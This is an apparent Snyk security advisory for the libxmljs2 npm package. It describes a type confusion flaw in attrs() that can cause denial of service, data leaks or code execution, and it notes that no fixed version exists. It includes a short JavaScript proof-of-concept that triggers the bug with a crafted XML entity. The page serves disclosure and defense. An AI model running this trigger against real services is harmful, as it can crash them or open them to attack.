Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsThere is no fixed version for libxmljs2
.
libxmljs2 is a libxml bindings for v8 javascript engine
Affected versions of this package are vulnerable to Type Confusion due to the improper handling of a specially crafted XML file. An attacker can cause a denial of service, data leak, infinite loop, or execute arbitrary code by invoking a function on the result of attrs()
that was called on a parsed node.
const libxmljs2 = require('libxmljs2');
var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer `" + 'A'.repeat(0x1234) + `">
]>
<from>&writer;</from>
`;
t = libxmljs2.parseXml(d, {flags: [libxmljs2.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()